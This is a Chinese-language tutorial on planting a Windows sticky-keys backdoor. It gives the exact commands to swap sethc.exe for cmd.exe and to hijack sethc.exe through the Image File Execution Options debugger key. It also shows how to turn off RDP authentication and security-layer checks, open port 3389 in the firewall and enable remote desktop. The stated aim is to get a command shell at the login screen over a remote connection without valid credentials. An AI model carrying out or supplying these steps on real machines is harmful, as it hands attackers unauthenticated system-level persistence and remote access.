粘滞键后门的应用
0x01
第一种方法适用于Windows Vista版本之前的系统。
简单概括就是将C:\Windows\system32目录下的sethc.exe替换为cmd.exe,使我们在连续按下5次shift键之后,调用cmd程序。
具体命令如下:
cd c:\Windows\System32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe
0x02
第二种办法适用于Windows Vista版本之后的系统。
在之后的版本中,如果要替换sethc.exe,我们需要用到trustedinstaller权限,这是一个高于Administrator的权限。
如果使用administrator权限修改,呈如下:
我们对所有者权限进行修改:右击–>属性–>所有者更改–>对象类型–>仅勾选用户
修改好之后,填写一个有效的用户名,并检查名称,确定用户是否存在:
点击确定,该程序的所有者就改变为我们选择的用户,之后我们再进行修改权限即可。
将sethc.exe文件替换为cmd.exe,我们就可以利用该后门了。(注意:cmd也需要所有者替换)
由上图我们可以看到,我们成功在用户登录的界面,执行了cmd。
那我们在实战中,是以远程登录为基础的。这时,我们又要拓展另一个权限,userauthentication权限,用于远程连接的身份验证。
我们以图片直观地查看该权限开启与关闭的区别:
开启状态:
关闭状态:
鉴权开启时,我们在不知道账号密码的情况下无法登录到远程界面,但是鉴权关闭之后,无论我们输入的账号和密码是否正确,都可以进入远程界面窗口,从而触发粘滞键后门。
如何关闭鉴权模式,我们采用如下命令:
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v UserAuthentication /t REG_DWORD /d 0
0代表关闭,1代表开启
在大佬的文章中,还提到了securitylayer安全层,具体指:0 就是连接前使用 rdp 协议进行身份验证,rdp 即远程桌面连接,可以简单理解为就是关闭验证。1 是指在连接前两端协商来进行身份验证,这个是默认值。2 就是使用 tls 协议来进行。
此安全层在我实际的应用中,并未受到影响,但是最好将其参数设置为0,命令如下:
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0
REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v SecurityLayer /t REG_DWORD /d 0
0x03
通过修改注册表的方式实现后门,核心技术为修改注册表的映像劫持。
命令如下:
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe” /v Debugger /t REG_SZ /d “C:\windows\system32\cmd.exe”
效果如下:
我们通过映像劫持的方式进行修改,所以并未改变cmd的命名。
reg add 是向注册表添加记录,后面跟的是注册表的位置,这里需要注意的是 HKLM 实际上是 HKEY_LOCAL_MACHINE 的缩写。Image File Execution Option 这个目录就是用来设置镜像劫持的,要被劫持的就是命令中的 sethc 粘滞键程序,随后通过 / v 来指定键名,这个键名 debugger 是固定的,然后通过 / t 来指定类型,即 REG_SZ 字符串类型,最后通过 / d 来指定键的值,即被恶意替换的程序,也就是我们的 cmd。
拓展一下,开启远程桌面的命令:
3389端口放行:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
netsh advfirewall firewall add rule name=”Remote Desktop” protocol=TCP dir=in localport=3389 action=allow
开启远程桌面服务:
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /D 0 /f
参考文章:https://blog.csdn.net/fageweiketang/article/details/88317656